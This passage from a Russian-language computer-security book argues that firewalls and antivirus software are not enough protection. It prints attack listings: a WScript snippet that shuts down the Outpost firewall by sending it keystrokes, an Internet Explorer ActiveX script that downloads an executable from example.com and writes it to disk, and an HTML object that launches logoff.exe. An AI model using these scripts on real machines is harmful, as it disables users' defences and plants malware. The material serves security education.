Брандмауэр

Опубликовано в Брандмауэр

Нужен ли нам брандмауэр?

Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится. Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?

Agnitum

Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript –лишь пример, но…

Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)

set WShell = CreateObject («WScript.Shell»)
WShell.Exec « Files\Agnitum\Outpost Firewall\outpost.exe»
WScript.Sleep 200
WShell.AppActivate «Agnitum», TRUE
WScript.Sleep 100
WShell.SendKeys «{F10}{DOWN}{UP}{ENTER}»
WScript.Sleep 100
WShell.SendKeys «{ENTER}»

ПРИМЕЧАНИЕ
Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий «зло-код»

«Антивирус Касперского» распознал наш код как самого настоящего троянского коня.

Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. И опять наш «Касперский» оказался на высоте.

Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

<script>
var x = new ActiveXObject («Microsoft.XMLHTTP»);
x.OpenC'GET', «http://www.example.com/1.exe», 0);
x.Send ();
var s = new ActiveXObject («ADODB.Stream»);
s.Mode = 3;
s.Type = 1;
s.Open ();
s.Write (x.responseBody);
s.SaveToFile («C:\\example.exe», 2);
</script>
<script language="javascript">
function preparecode (code)
{ result = «„;
lines = code.split (/\r\n/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace (/*\s+/,“»);
line = line.replace (/\s+$/,"«);
line = line.replace (/'/g,»\'");
line = line.replace (/[\\]/g,"\\");
line = line.replace (/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}}
return result;
}
function doit () {
О. М. Бойцев. «Защити свой компьютер на 100% от вирусов и хакеров»
14
mycode = preparecode (document.all.code.value);
myURL = "file:javascript:eval (" + mycode + «')»;
window.open (myURL, «_media»);
}
setTimeout («doit ()», 5000);
</script>
</html>

Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй,вообще нет смысла.

Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя. Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами
«смертного» пользователя.

В качестве яркого примера, иллюстрирующего «всемогущие» возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор,
пока он не будет запущен от имени администратора.

Листинг 1.6. Наш учебный код <HTML>

OBJECT CLASSID='CLSID:10000000'
CODEBASE='C:\Windows\system32\logoff.exe'>
</OBJECT>
<HTML>

ПРИМЕЧАНИЕ
Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.

А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав супер-пользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.

Тем посетителям нашего сайта, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru. Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от «настоящего» администратора рано или поздно ему придется. «Зараза» почувствует это и выполнит свою программу.

Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!